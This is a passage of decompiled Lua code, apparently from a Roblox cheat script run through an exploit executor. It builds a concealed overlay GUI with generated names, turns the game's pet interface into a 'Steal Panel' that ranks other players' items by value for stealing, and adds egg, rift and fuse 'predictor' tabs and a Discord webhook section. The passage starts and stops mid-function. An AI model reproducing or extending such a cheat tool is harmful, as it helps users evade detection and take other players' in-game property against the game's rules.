local flag14 = type(uid) == "string"
if not flag14 then
flag13 = flag14
end
flag13 = flag13 and type(v41.AssetCategory) == "string"
if flag13 then
tbl39[uid] = true
local v42 = fn32(v41.AssetCategory)
local v43 = tbl33[uid]
if not v43 then
local tbl40 = { Uid = uid }
tbl33[uid] = tbl40
v43 = tbl40
end
v43.Category = v41.AssetCategory
v43.Style = v42
v43.Value = fn34(v41, v42)
v43.Position = typeof(v41.BottomCFrame) == "CFrame"
and v41.BottomCFrame.Position
or nil
if
(v41.State == "Slot" or v41.State == "Dropped")
and v42.Icon ~= ""
and v43.Value > n38
then
n38 = v43.Value
v40 = v43
end
local v44 = flag8
if flag8 then
v44 = v34
end
if v44 then
local v45 = tbl32[uid]
if not v45 then
v45 = fn58(uid)
tbl32[uid] = v45
end
fn59(v45, v43)
end
end
if not (n20 < os.clock() - now) then
continue
end
RunService.Heartbeat:Wait()
now = os.clock()
if arg ~= n28 or not flag6 then
return
end
end
for k in pairs(tbl33) do
if not tbl39[k] then
tbl33[k] = nil
local v41 = tbl32[k]
if v41 then
tbl32[k] = nil
v41.Frame:Destroy()
end
end
end
local flag13 = imageLabel
if imageLabel then
flag13 = v40
end
flag13 = flag13 and imageLabel.Image ~= v40.Style.Icon
if flag13 then
imageLabel.Image = v40.Style.Icon
end
fn56()
end
end
local n38 = 0
local function fn62(arg)
local flag13 = flag11
if flag11 then
flag13 = os.clock() - n38 < 10
end
if flag13 then
flag12 = true
return
end
flag11 = true
n38 = os.clock()
pcall(fn61, arg)
if n38 == n38 then
flag11 = false
end
if flag12 then
flag12 = false
fn60()
end
end
fn60 = function()
local v39 = flag10
local flag13
if flag10 then
flag13 = v39
else
flag13 = not flag6
end
if flag13 then
return
end
flag10 = true
local v40 = n28
local delay = task.delay
local n39 = flag8
if flag8 then
n39 = 0.15
end
n39 = n39 or 1
delay(n39, function()
flag10 = false
local flag14 = flag6
if flag6 then
flag14 = v40 == n28
end
if flag14 then
task.spawn(pcall, fn62, v40)
end
end)
end
local function fn63(arg)
local v39 = flag8
local flag13
if flag8 then
flag13 = v39
else
flag13 = not v31
end
if flag13 then
return
end
flag8 = true
if arg then
v33:Set(true)
end
if fn51() then
RunService.Heartbeat:Wait()
if not flag8 or not v31 then
return
end
end
fn52(true)
v30.Enabled = true
if tween then
tween:Cancel()
end
local scale = position.Y.Scale
local offset = position.Y.Offset
v31.Position =
UDim2.new(position.X.Scale, math.ceil(v31.AbsoluteSize.X * n26), scale, offset)
tween = TweenService:Create(v31, tweenInfo, { Position = position })
tween:Play()
fn44()
fn57()
task.spawn(pcall, fn62, n28)
end
local function fn64(arg, arg2)
if not flag8 or not v31 then
return
end
flag8 = false
if arg2 then
v33:Set(false)
end
if tween then
tween:Cancel()
end
local scale = position.Y.Scale
local offset = position.Y.Offset
local tween2 = TweenService:Create(
v31,
tweenInfo2,
{
Position = UDim2.new(
position.X.Scale,
math.ceil(v31.AbsoluteSize.X * n26),
scale,
offset
),
}
)
tween = tween2
tween2.Completed:Connect(function(arg3)
if
arg3 == Enum.PlaybackState.Completed
and tween == tween2
and not flag8
and v30
then
v30.Enabled = false
v31.Position = position
end
end)
tween2:Play()
if arg then
fn52(false)
end
end
local function fn65(arg)
local screenGui = Instance.new("ScreenGui")
screenGui.Name = fn5()
screenGui.Archivable = false
screenGui.ResetOnSpawn = false
screenGui.IgnoreGuiInset = arg.IgnoreGuiInset
screenGui.ZIndexBehavior = arg.ZIndexBehavior
screenGui.DisplayOrder = arg.DisplayOrder
pcall(function()
screenGui.ScreenInsets = arg.ScreenInsets
end)
return screenGui
end
local function fn66()
local parent = v28
if v28 then
parent = v28.Parent
end
parent = parent and v29
parent = parent and v29.Button
if parent then
return true
end
local v39 = fn38(v27.Pets)
if not v39 then
return false
end
for _, v40 in ipairs({
"Notification",
"ReadyNotification",
"NightImage",
"NightText",
"ConsoleButton",
"Badge",
}) do
local v41 = v39:FindFirstChild(v40)
if v41 then
v41:Destroy()
end
end
v29 = fn45(v39)
imageLabel = v39:FindFirstChild("ImageLabel")
if v29.Scale then
v29.Scale.Scale = 1
end
fn46(v29, tbl28.Chilli)
fn47(v29)
fn48(v29)
v39.AnchorPoint = Vector2.new(0.5, 0.5)
v39.LayoutOrder = 0
v39.Activated:Connect(function()
if not v30 or not v30.Parent then
task.spawn(function()
pcall(fn36)
task.wait(0.15)
local flag13 = v30
if v30 then
flag13 = not flag8
end
if flag13 then
pcall(fn63, true)
end
end)
return
end
if flag8 then
fn64(true, true)
else
task.spawn(fn63, true)
end
end)
fn42(v39)
fn39(v39)
v28 = fn65(v27.Hud)
v39.Parent = v28
v28.Parent = v3
return true
end
local v39 = nil
local v40 = nil
local function fn67()
local button = v29
if v29 then
button = v29.Button
end
local eggs = v27.Eggs
local pets = v27.Pets
if not button or not eggs.Parent or not pets.Parent then
return
end
if
v27.Hud.Enabled
and v27.GameHud.Visible
and v27.Column.Visible
and eggs.Visible
and pets.Visible
and eggs.AbsoluteSize.X > 0
then
local uiScale = eggs:FindFirstChildOfClass("UIScale")
uiScale = uiScale and uiScale.Scale
uiScale = uiScale or 1
if uiScale <= 0 then
uiScale = 1
end
local n39 = eggs.AbsolutePosition + eggs.AbsoluteSize / 2
local n40 = eggs.AbsoluteSize / uiScale
local absolutePosition = v28.AbsolutePosition
local udim24 = UDim2.fromOffset(
n39.X - absolutePosition.X,
n39.Y
- (pets.AbsolutePosition + pets.AbsoluteSize / 2).Y
- n39.Y
- absolutePosition.Y
)
local udim25 = UDim2.fromOffset(n40.X, n40.Y)
if not flag8 then
v39 = udim24
v40 = udim25
end
if button.Position ~= udim24 then
button.Position = udim24
end
if button.Size ~= udim25 then
button.Size = udim25
fn43()
end
elseif not flag8 and v39 then
if button.Position ~= v39 then
button.Position = v39
end
local flag13 = v40
if v40 then
flag13 = button.Size ~= v40
end
if flag13 then
button.Size = v40
fn43()
end
end
if button.Visible ~= true then
button.Visible = true
end
end
local function fn68()
local frame = v27.ActivePets.Frame
local v41 = fn38(frame)
if not v41 then
return false
end
local header = v41:FindFirstChild("Header")
local scrollingFrame = v41:FindFirstChild("ScrollingFrame")
local close = v41:FindFirstChild("Close")
local template = scrollingFrame and scrollingFrame:FindFirstChild("Template")
local spacer = template and template:FindFirstChild("Spacer")
local unequip = spacer and spacer:FindFirstChild("Unequip")
local textLabel = spacer and spacer:FindFirstChild("TextLabel")
if not (header and scrollingFrame and close and spacer and unequip and textLabel) then
v41:Destroy()
return false
end
for _, child in ipairs(scrollingFrame:GetChildren()) do
if child ~= template and child:IsA("GuiObject") and child.Name ~= "EmptyLast" then
child:Destroy()
end
end
local equipBest = v41:FindFirstChild("EquipBest")
if equipBest then
equipBest:Destroy()
end
local uiAspectRatioConstraint = v41:FindFirstChildOfClass("UIAspectRatioConstraint")
local aspectRatio = uiAspectRatioConstraint and uiAspectRatioConstraint.AspectRatio
or 1.25
local flag13 = not UserInputService.MouseEnabled
local n39 = flag13 and 1.2 or 1
local n40 = flag13 and 1.15 or 1
local n41 = n24 / n40
local n42 = n41 / aspectRatio
tbl31 =
{ Width = frame.Size.X.Scale, Height = frame.Size.Y.Scale, Aspect = aspectRatio }
v41.Size = UDim2.new(n22 * n39, 0, n23 * n39 * n40, 0)
if not uiAspectRatioConstraint then
uiAspectRatioConstraint = Instance.new("UIAspectRatioConstraint")
uiAspectRatioConstraint.Parent = v41
end
uiAspectRatioConstraint.AspectRatio = n41
uiAspectRatioConstraint.AspectType = Enum.AspectType.FitWithinMaxSize
header.Size = UDim2.new(
header.Size.X.Scale,
header.Size.X.Offset,
header.Size.Y.Scale * n42,
header.Size.Y.Offset
)
header.Position = UDim2.new(
header.Position.X.Scale,
header.Position.X.Offset,
header.Position.Y.Scale * n42,
header.Position.Y.Offset
)
close.Size = UDim2.new(
close.Size.X.Scale * 1,
close.Size.X.Offset,
close.Size.Y.Scale * n42,
close.Size.Y.Offset
)
close.Position = UDim2.new(
close.Position.X.Scale * 1,
close.Position.X.Offset,
close.Position.Y.Scale,
close.Position.Y.Offset
)
local scale = scrollingFrame.Size.Y.Scale
local scale2 = scrollingFrame.Position.Y.Scale
local y = scrollingFrame.AnchorPoint.Y
local n43 = (scale2 - scale * y) * n42
local n44 = 1 - (1 - scale2 + scale * (1 - y)) * n42
scrollingFrame.Size =
UDim2.new(scrollingFrame.Size.X.Scale, scrollingFrame.Size.X.Offset, n44 - n43, 0)
scrollingFrame.Position = UDim2.new(
scrollingFrame.Position.X.Scale,
scrollingFrame.Position.X.Offset,
n43 + (n44 - n43) * y,
0
)
local scale3 = scrollingFrame.Size.Y.Scale
local y2 = scrollingFrame.AnchorPoint.Y
local n45 = scrollingFrame.Position.Y.Scale - scale3 * y2
local n46 = n45 + scale3
local n47 = 0.1 * n42
local n48 = 0.02 * n42
local frame2 = Instance.new("Frame")
frame2.BackgroundTransparency = 1
frame2.BorderSizePixel = 0
frame2.AnchorPoint = Vector2.new(0.5, 0)
frame2.Position = UDim2.new(0.5, 0, n45 + n48, 0)
frame2.Size = UDim2.new(0.9, 0, n47, 0)
frame2.Parent = v41
local n49 = n45 + n48 * 1.5 + n47
scrollingFrame.Size =
UDim2.new(scrollingFrame.Size.X.Scale, scrollingFrame.Size.X.Offset, n46 - n49, 0)
scrollingFrame.Position = UDim2.new(
scrollingFrame.Position.X.Scale,
scrollingFrame.Position.X.Offset,
n49 + (n46 - n49) * y2,
0
)
local clone = unequip:Clone()
clone.AnchorPoint = Vector2.new(0, 0.5)
clone.Position = UDim2.new(0, 0, 0.5, 0)
clone.Size = UDim2.new(0.37, 0, 1, 0)
clone.Parent = frame2
local v42 = fn45(clone)
fn47(v42)
clone.Activated:Connect(function()
local v43 = v13
local flag14 = v13
if v43 then
flag14 = type(v43.Set) == "function"
end
if flag14 then
pcall(v43.Set, v43, not tbl4.Toggle(v43, false))
end
task.defer(fn55)
end)
local frame3 = v27.GrowingEggs and v27.GrowingEggs:FindFirstChild("Frame")
frame3 = frame3 and frame3:FindFirstChild("ScrollingFrame")
frame3 = frame3 and frame3:FindFirstChild("Template")
frame3 = frame3 and frame3:FindFirstChild("Spacer")
frame3 = frame3 and frame3:FindFirstChild("Progress")
frame3 = frame3 and fn38(frame3)
frame3 = frame3 or nil
local fill = frame3 and frame3:FindFirstChild("Fill")
local textLabel2 = frame3 and frame3:FindFirstChild("TextLabel")
if not (frame3 and fill and textLabel2) then
if frame3 then
frame3:Destroy()
end
frame3 = Instance.new("Frame")
frame3.BackgroundColor3 = fromRGB(17, 17, 22)
frame3.BackgroundTransparency = 0.25
frame3.BorderSizePixel = 0
fill = Instance.new("Frame")
fill.BackgroundColor3 = fromRGB(78, 255, 69)
fill.BorderSizePixel = 0
fill.AnchorPoint = Vector2.new(0, 0.5)
fill.Position = UDim2.new(0, 0, 0.5, 0)
fill.Parent = frame3
textLabel2 = Instance.new("TextLabel")
textLabel2.BackgroundTransparency = 1
textLabel2.AnchorPoint = Vector2.new(0.5, 0.5)
textLabel2.Position = UDim2.new(0.5, 0, 0.5, 0)
textLabel2.TextScaled = true
textLabel2.TextColor3 = fromRGB(255, 255, 255)
textLabel2.ZIndex = 3
textLabel2.Parent = frame3
end
frame3.AnchorPoint = Vector2.new(1, 0.5)
frame3.Position = UDim2.new(1, 0, 0.5, 0)
frame3.Size = UDim2.new(0.6, 0, 0.8, 0)
frame3.Active = true
textLabel2.Size = UDim2.new(0.92, 0, 0.9, 0)
frame3.Parent = frame2
tbl30 = { Toggle = v42, Fill = fill, Text = textLabel2 }
local function fn68(arg)
return math.clamp(
math.floor(
(
100
+ math.clamp(
(arg - frame3.AbsolutePosition.X)
/ math.max(frame3.AbsoluteSize.X, 1),
0,
1
)
* 900
)
/ 10
+ 0.5
) * 10,
100,
1000
)
end
local function fn69(arg)
if not tbl30 then
return
end
tbl30.DragValue = arg
fn55()
if tbl30.Sent ~= arg then
tbl30.Sent = arg
local v43 = v14
local flag14 = v14
if v43 then
flag14 = type(v43.Set) == "function"
end
if flag14 then
pcall(v43.Set, v43, arg)
else
n2 = arg
n4 = arg
end
end
end
local function fn70(arg)
local flag14 = arg.UserInputType == Enum.UserInputType.MouseButton1
or arg.UserInputType == Enum.UserInputType.Touch
return flag14
end
frame3.InputBegan:Connect(function(arg)
local v43 = tbl30
if tbl30 then
v43 = fn70(arg)
end
if v43 then
tbl30.Dragging = true
fn69(fn68(arg.Position.X))
end
end)
table.insert(
tbl34,
UserInputService.InputChanged:Connect(function(arg)
local flag14 = arg.UserInputType == Enum.UserInputType.MouseMovement
or arg.UserInputType == Enum.UserInputType.Touch
local dragging = tbl30
if tbl30 then
dragging = tbl30.Dragging
end
if not dragging then
flag14 = dragging
end
if flag14 then
fn69(fn68(arg.Position.X))
end
end)
)
table.insert(
tbl34,
UserInputService.InputEnded:Connect(function(arg)
local dragging = tbl30
if tbl30 then
dragging = tbl30.Dragging
end
dragging = dragging and fn70(arg)
if dragging then
tbl30.Dragging = false
fn55()
end
end)
)
local uiGradient = header:FindFirstChildOfClass("UIGradient")
if uiGradient then
local v43 = fn31
local tbl39 = {}
local tbl40 = { 0, fromRGB(200, 18, 24) }
local tbl41 = { 0.53, fromRGB(255, 88, 90) }
local tbl42 = { 1, fromRGB(214, 28, 34) }
tbl39[1] = tbl40
tbl39[2] = tbl41
tbl39[3] = tbl42
uiGradient.Color = v43(tbl39)
end
title = header:FindFirstChild("Title")
fn33(title, "Steal Panel")
local plusEquip = header:FindFirstChild("PlusEquip")
v32 = fn45(plusEquip)
if v32 then
fn46(v32, tbl28.Steal)
fn33(v32.Label, "Sort: " .. tbl27[n31])
fn47(v32)
plusEquip.Activated:Connect(function()
n31 = n31 % #tbl27 + 1
fn33(v32.Label, "Sort: " .. tbl27[n31])
fn56()
end)
end
fn47((fn45(close)))
close.Activated:Connect(function()
fn64(true, true)
end)
local clone2 = unequip:Clone()
clone2.Name = "Cancel"
clone2.Parent = spacer
local uiAspectRatioConstraint2 = Instance.new("UIAspectRatioConstraint")
uiAspectRatioConstraint2.AspectRatio = 1
uiAspectRatioConstraint2.DominantAxis = Enum.DominantAxis.Height
uiAspectRatioConstraint2.Parent = clone2
unequip.Size = UDim2.new(0.24, 0, unequip.Size.Y.Scale, 0)
unequip.Position = UDim2.new(0.852, 0, 0.5, 0)
clone2.Size = UDim2.new(0.105, 0, unequip.Size.Y.Scale, 0)
clone2.Position = UDim2.new(0.965, 0, 0.5, 0)
local icon = spacer:FindFirstChild("Icon")
if icon then
icon.AnchorPoint = Vector2.new(0.5, 0.5)
icon.Size = UDim2.new(0.2, 0, 1.3, 0)
icon.Position = UDim2.new(0.1, 0, 0.5, 0)
end
textLabel.Size = UDim2.new(0.38, 0, 0.4, 0)
textLabel.Position = UDim2.new(0.415, 0, 0.33, 0)
fn33(textLabel, "")
local clone3 = textLabel:Clone()
clone3.Name = "Value"
clone3.Size = UDim2.new(0.38, 0, 0.32, 0)
clone3.Position = UDim2.new(0.415, 0, 0.72, 0)
local uiGradient2 = clone3:FindFirstChildOfClass("UIGradient")
if not uiGradient2 then
uiGradient2 = Instance.new("UIGradient")
uiGradient2.Parent = clone3
end
uiGradient2.Color = tbl28.Steal.Color
uiGradient2.Rotation = tbl28.Steal.Rotation
clone3.Parent = spacer
local v43 = fn45(unequip)
fn33(v43.Label, "Steal")
fn46(v43, tbl28.Steal)
local v44 = fn45(clone2)
fn33(v44.Label, "X")
fn46(v44, tbl28.Cancel)
clone2.Position = udim2
clone2.Visible = false
unequip.Position = udim22
unequip.Size = udim23
local clone4 = clone2:Clone()
clone4.Name = "Star"
clone4.AnchorPoint = Vector2.new(1, 0.5)
clone4.Size = UDim2.new(0.1, 0, 0.56, 0)
clone4.Position = udim2
clone4.Visible = true
clone4.Parent = spacer
local v45 = fn45(clone4)
fn33(v45.Label, "\226\152\133")
fn46(v45, tbl28.Queued)
local v46 = ipairs
local tbl39 = {}
local tbl40 = {}
local v47 = "\226\150\178"
local n50 = n36 - n35
tbl40[1] = "Up"
tbl40[2] = v47
tbl40[3] = n50
local tbl41 = {}
local v48 = "\226\150\188"
tbl41[1] = "Down"
tbl41[2] = v48
tbl41[3] = n36
tbl39[1] = tbl40
tbl39[2] = tbl41
for _, v49 in v46(tbl39) do
local clone5 = clone2:Clone()
clone5.Name = v49[1]
clone5.AnchorPoint = Vector2.new(1, 0.5)
clone5.Size = UDim2.new(0.1, 0, 0.56, 0)
clone5.Position = UDim2.new(v49[3], 0, 0.6, 0)
clone5.Visible = false
clone5.Parent = spacer
local v50 = fn45(clone5)
fn33(v50.Label, v49[2])
fn46(v50, tbl28.Hud)
end
clone2.AnchorPoint = Vector2.new(1, 0)
clone2.Position = UDim2.new(0.99, 0, 0.04, 0)
clone2.Size = UDim2.new(0.06, 0, 0.28, 0)
clone2.ZIndex = 8
for _, descendant in ipairs(clone2:GetDescendants()) do
if descendant:IsA("GuiObject") then
descendant.ZIndex = descendant.ZIndex + 8
end
end
local clone5 = clone3:Clone()
clone5.Name = "Rank"
clone5.AnchorPoint = Vector2.new(0, 0)
clone5.Position = UDim2.new(0.012, 0, 0.03, 0)
clone5.Size = UDim2.new(0.1, 0, 0.36, 0)
clone5.TextXAlignment = Enum.TextXAlignment.Left
clone5.ZIndex = 6
clone5.Visible = false
fn33(clone5, "#1")
local uiGradient3 = clone5:FindFirstChildOfClass("UIGradient")
if uiGradient3 then
uiGradient3.Color = tbl28.PriorityOn.Color
uiGradient3.Rotation = 90
end
clone5.Parent = spacer
template.Visible = false
template.Parent = nil
v35 = template
v34 = scrollingFrame
v31 = v41
position = frame.Position
v41.Position = position
fn42(v41, true)
fn39(v41)
v30 = fn65(v27.ActivePets)
v30.Enabled = false
v41.Parent = v30
v30.Parent = v3
table.insert(
tbl34,
scrollingFrame:GetPropertyChangedSignal("AbsoluteSize"):Connect(fn57)
)
table.insert(tbl34, v41:GetPropertyChangedSignal("AbsoluteSize"):Connect(fn44))
return true
end
local function fn69()
if not flag6 then
return
end
flag6 = false
n28 = n28 + 1
flag10 = false
flag12 = false
if flag8 then
flag8 = false
if not fn50() then
fn52(false, true)
end
end
if tween then
tween:Cancel()
tween = nil
end
tbl23.DisconnectAll(tbl34)
table.clear(tbl32)
table.clear(tbl33)
if v30 then
v30:Destroy()
end
if v35 then
v35:Destroy()
end
v30 = nil
v31 = nil
position = nil
title = nil
v32 = nil
v34 = nil
v35 = nil
n29 = 0
tbl30 = nil
tbl31 = nil
n30 = 1
v27 = nil
end
fn36 = function()
if flag6 then
return
end
local v41 = fn37()
if not v41 then
if not flag7 then
flag7 = true
task.delay(2, function()
flag7 = false
if not flag6 and tbl4.Toggle(nil, true) then
fn36()
end
end)
end
return
end
v27 = v41
flag6 = true
n28 = n28 + 1
local v42 = n28
uiStroke = v27.ActivePets.Frame:FindFirstChildOfClass("UIStroke")
local thickness = uiStroke
if uiStroke then
thickness = uiStroke.Thickness
end
thickness = thickness or nil
v37 = thickness
local v43 = tbl35
local n39 = v37
if not v37 then
n39 = 2.3120369911193848
end
v43.Panel = n39
local uiStrokeClr = v27.Pets:FindFirstChild("UIStrokeClr")
local v44 = tbl35
v44.Hud = uiStrokeClr and uiStrokeClr:IsA("UIStroke") and uiStrokeClr.Thickness
or 2.3120369911193848
if not fn66() or not fn68() then
fn69()
return
end
if flag9 then
flag9 = false
task.spawn(fn63)
end
table.insert(tbl34, RunService.RenderStepped:Connect(fn67))
if uiStroke then
table.insert(tbl34, uiStroke:GetPropertyChangedSignal("Thickness"):Connect(fn43))
end
for _, v45 in ipairs({ v27.ActivePets, v27.GrowingEggs }) do
if v45 then
table.insert(
tbl34,
v45:GetPropertyChangedSignal("Enabled"):Connect(function()
if v45.Enabled and flag8 then
fn64(false)
end
end)
)
end
end
local eggState = tbl.EggState
if type(eggState) == "table" then
for _, v45 in ipairs({
"FieldRefreshed",
"FieldShifted",
"FieldGone",
"FieldClaimed",
"SnapshotRefreshed",
}) do
local v46 = eggState[v45]
if type(v46) == "table" and type(v46.Connect) == "function" then
local ok, result = pcall(v46.Connect, v46, fn60)
ok = ok and result
if ok then
table.insert(tbl34, result)
end
end
end
end
local areaEggSlotsClient = workspace:FindFirstChild("AreaEggSlotsClient")
if areaEggSlotsClient then
table.insert(tbl34, areaEggSlotsClient.ChildAdded:Connect(fn60))
table.insert(tbl34, areaEggSlotsClient.ChildRemoved:Connect(fn60))
end
task.spawn(function()
local n40 = 0
while true do
local flag13 = flag6
if flag6 then
flag13 = v42 == n28
end
if flag13 then
n40 = n40 + task.wait(0.5)
if not (not flag6 or v42 ~= n28) then
if
not (
v27.Eggs:IsDescendantOf(game)
and v27.ActivePets:IsDescendantOf(game)
)
then
task.defer(function()
fn69()
if tbl4.Toggle(nil, true) then
fn36()
end
end)
break
else
if n19 <= n40 then
fn60()
n40 = 0
elseif flag8 then
fn56()
end
continue
end
end
end
break
end
end)
task.spawn(pcall, fn62, v42)
end
fn6(function()
fn69()
if v28 then
v28:Destroy()
end
fn48(nil)
v28 = nil
v29 = nil
imageLabel = nil
end)
tbl4.RestoreStealPanel = function()
if v33:Get() ~= true then
return
end
local flag13 = flag6
if flag6 then
flag13 = v30
end
flag13 = flag13 and not flag8
if flag13 then
task.spawn(fn63)
else
flag9 = true
end
end
task.defer(fn36)
end
end
local v27, v28, v29, v30, tbl29
do
local v31 = v2:CreateTab({ Name = "Predictor", SectionsExpanded = true })
v27 = v31:CreateSection({ Name = "Discord Webhook", Expanded = false })
v28 = v31:CreateSection({ Name = "Egg Predictor", Expanded = true })
v29 = v31:CreateSection({ Name = "Rift Predictor", Expanded = true })
v30 = v31:CreateSection({ Name = "Fuse Predictor", Expanded = false })
local function fn32(arg, arg2)
local ok, result = pcall(Font.new, arg, arg2, Enum.FontStyle.Normal)
if not ok then
result = ok
end
result = result or nil
return result
end
tbl29 = {
Ready = type(v28.CreateCanvas) == "function",
Bullet = "\226\128\162",
Color = {
Text = "#FFFFFF",
Income = "#4DFF7A",
Clock = "#FFC24D",
Ready = "#4DFF7A",
Growing = "#FFC24D",
Inventory = "#7FD8FF",
Weight = "#CDE7FF",
Scale = "#FFDF8A",
Separator = "#7A8CC0",
Hint = "#9FB8FF",
},
NameFont = fn32("rbxasset://fonts/families/GothamSSm.json", Enum.FontWeight.ExtraBold),
}
tbl29.RarityFont = fn32("rbxassetid://12187365977", Enum.FontWeight.Bold)
or fn32("rbxasset://fonts/families/FredokaOne.json", Enum.FontWeight.Regular)
local sequence = tbl23.Sequence
local tbl30 = {}
local tbl31 = { 0, Color3.fromRGB(255, 255, 255) }
local tbl32 = { 0.5, Color3.fromRGB(222, 238, 255) }
local tbl33 = { 1, Color3.fromRGB(255, 255, 255) }
tbl30[1] = tbl31
tbl30[2] = tbl32
tbl30[3] = tbl33
tbl29.NameGradient = sequence(tbl30)
local sequence2 = tbl23.Sequence
local tbl34 = {}
local tbl35 = { 0, Color3.fromRGB(255, 255, 255) }
local tbl36 = { 0.2, Color3.fromRGB(206, 212, 224) }
local tbl37 = { 0.42, Color3.fromRGB(74, 80, 94) }
local tbl38 = { 0.58, Color3.fromRGB(42, 46, 56) }
local tbl39 = { 0.78, Color3.fromRGB(158, 166, 182) }
local tbl40 = { 1, Color3.fromRGB(250, 252, 255) }
tbl34[1] = tbl35
tbl34[2] = tbl36
tbl34[3] = tbl37
tbl34[4] = tbl38
tbl34[5] = tbl39
tbl34[6] = tbl40
tbl29.SecretGradient = sequence2(tbl34)
tbl29.SecretRotation = 90
tbl29.Paint = function(arg, arg2)
return string.format('<font color="%s">%s</font>', arg, arg2)
end
tbl29.Bold = function(arg)
return "<b>" .. tostring(arg) .. "</b>"
end
tbl29.Escape = function(arg)
return (
string.gsub(tostring(arg), "[<>&]", { ["<"] = "<", [">"] = ">", ["&"] = "&" })
)
end
tbl29.Separator = function()
return tbl29.Paint(tbl29.Color.Separator, " " .. tbl29.Bullet .. " ")
end
tbl29.FormatRate = function(arg)
local n28 = tonumber(arg) or 0
if 1000000000000 <= n28 then
return string.format("%.2fT/s", n28 / 1000000000000)
end
if 1000000000 <= n28 then
return string.format("%.2fB/s", n28 / 1000000000)
end
if n28 >= 1000000 then
return string.format("%.2fM/s", n28 / 1000000)
end
if n28 >= 1000 then
return string.format("%.1fK/s", n28 / 1000)
end
return string.format("%d/s", math.floor(n28))
end
tbl29.FormatWeight = function(arg)
local n28 = tonumber(arg) or 0
local str5 = n28 >= 1000 and string.format("%.0f", n28) or string.format("%.2f", n28)
local v32, v33 = string.match(str5, "^(%-?%d+)(%.%d+)$")
local v34 = v32
local str6 = v33
v34 = v34 or str5
local v35
while true do
local v36
v35, v36 = string.gsub(v34, "^(%-?%d+)(%d%d%d)", "%1,%2")
if v36 == 0 then
break
else
v34 = v35
end
end
str6 = str6 or ""
return v35 .. str6 .. " Kg"
end
tbl29.FormatClock = function(arg)
local max = math.max
local floor = math.floor
local n28 = tonumber(arg) or 0
local v32 = max(0, floor(n28))
return string.format(
"%02dh %02dm %02ds",
math.floor(v32 / 3600),
math.floor(v32 % 3600 / 60),
v32 % 60
)
end
tbl29.ScaleFactor = function(arg)
if arg > 5 then
return (arg / 5) ^ 1.2 * 19.637875755794113
end
return arg ^ 1.85
end
tbl29.MutationMultiplier = function(arg)
local flag6 = type(arg) == "table"
if not flag6 then
arg = flag6
end
arg = arg or {}
local mutations = tbl.Mutations
if type(mutations) == "table" and type(mutations.EarningsFor) == "function" then
local ok, result = pcall(mutations.EarningsFor, arg)
ok = ok and type(result) == "number"
if ok then
return result
end
end
return 1
end
local tbl41 = {
Golden = "#FFD34D",
Silver = "#E6EEF7",
Sakura = "#FF9ED8",
GreatBloom = "#7CFFC4",
Boss = "#FF7A7A",
Monstrous = "#C08BFF",
}
local tbl42 = { "#FF6B6B", "#FFB36B", "#FFF06B", "#6BFF8A", "#6BC8FF", "#B96BFF" }
tbl29.MutationText = function(arg)
local tbl43 = {}
if type(arg) == "table" then
for _, v32 in ipairs(arg) do
local v33 = string.upper(fn10(v32))
if v32 == "Rainbow" or v32 == "Prismatic" then
local tbl44 = {}
for i = 1, #v33 do
table.insert(
tbl44,
tbl29.Paint(tbl42[(i - 1) % #tbl42 + 1], string.sub(v33, i, i))
)
end
local insert = table.insert
local v34 = table.pack(tbl29.Bold(table.concat(tbl44)))
insert(tbl43, table.unpack(v34, 1, v34.n))
else
local insert = table.insert
local bold = tbl29.Bold
local paint = tbl29.Paint
local str5 = tbl41[v32] or "#8FE3FF"
insert(tbl43, bold(paint(str5, tbl29.Escape(v33))))
end
end
end
return table.concat(tbl43, " ")
end
local v32 = nil
local function fn33(arg)
if type(arg) == "table" and typeof(arg.RarityGradient) == "Instance" then
return arg.RarityGradient
end
if v32 == nil then
local assets = ReplicatedStorage:FindFirstChild("Assets")
assets = assets and assets:FindFirstChild("UI")
assets = assets and assets:FindFirstChild("RarityGradients")
assets = assets or false
v32 = assets
end
if not v32 or type(arg) ~= "table" then
return nil
end
local v33 = v32
local findFirstChild = v33.FindFirstChild
local v34 = tostring
local id = arg._id or arg.DisplayName or ""
local v35 = findFirstChild(v33, v34(id))
local rarityGradient = v35 and v35:FindFirstChild("RarityGradient") or nil
return rarityGradient
end
local tbl43 = {}
tbl29.AssetInfo = function(arg)
local str5 = tostring(arg)
local v33 = tbl43[str5]
if v33 then
return v33
end
local directory = tbl.Assets and tbl.Assets.Directory
local flag6 = type(directory) == "table" and directory[str5] or nil
if flag6 == nil and type(directory) == "table" then
local v34 = string.gsub(string.lower(str5), "[^%a%d]", "")
for k, v35 in pairs(directory) do
if type(v35) == "table" then
local tbl44 = {}
local str6 = tostring(k)
local v36 = tostring
local id = v35._id or ""
local v37 = v36(id)
local v38 = tostring
local displayName = v35.DisplayName or ""
local v39 = table.pack(v38(displayName))
tbl44[1] = str6
tbl44[2] = v37
do
local values = table.pack(table.unpack(v39, 1, v39.n))
table.move(values, 1, values.n, 3, tbl44)
end
local egg = type(v35.Egg) == "table" and v35.Egg or nil
if egg ~= nil then
local n28 = #tbl44 + 1
local v40 = tostring
local modelName = egg.ModelName or ""
tbl44[n28] = v40(modelName)
end
for _, v40 in ipairs(tbl44) do
if v40 ~= "" and string.gsub(string.lower(v40), "[^%a%d]", "") == v34 then
flag6 = v35
break
end
end
end
if flag6 == nil then
continue
end
break
end
end
local rarity = type(flag6) == "table" and type(flag6.Rarity) == "table" and flag6.Rarity
or nil
local icon = type(flag6) == "table" and flag6.Icon or nil
local str6
if rarity then
local v34 = tostring
local displayName = rarity.DisplayName or rarity._id or "Common"
str6 = v34(displayName)
else
str6 = rarity
end
str6 = str6 or "Common"
local color = rarity and typeof(rarity.Color) == "Color3" and rarity.Color
or Color3.fromRGB(255, 255, 255)
local tbl44 = {}
local flag7 = type(flag6) == "table"
local v34
if flag7 then
local v35 = tostring
local displayName = flag6.DisplayName or str5
v34 = v35(displayName)
else
v34 = flag7
end
tbl44.Name = v34 or str5
tbl44.Category = str5
tbl44.Rarity = str6
local n28
if rarity then
local v35 = tonumber
local rarityNumber = rarity.RarityNumber or rarity.Rank
n28 = v35(rarityNumber)
else
n28 = rarity
end
n28 = n28 or 0
tbl44.RarityNumber = n28
tbl44.Color = color
tbl44.Hex = "#" .. string.upper(color:ToHex())
tbl44.Gradient = fn33(rarity)
tbl44.EarningRate = type(flag6) == "table" and tonumber(flag6.EarningRate) or 0
local flag8 = type(icon) == "string" and icon ~= ""
if not flag8 then
icon = flag8
end
tbl44.Icon = icon or nil
tbl43[str5] = tbl44
return tbl44
end
tbl29.Income = function(arg, arg2, arg3)
if type(arg2) ~= "number" or arg2 <= 0 then
return 0
end
return math.max(
math.round(arg.EarningRate * tbl29.ScaleFactor(arg2) * tbl29.MutationMultiplier(arg3)),
1
)
end
local function fn34(arg)
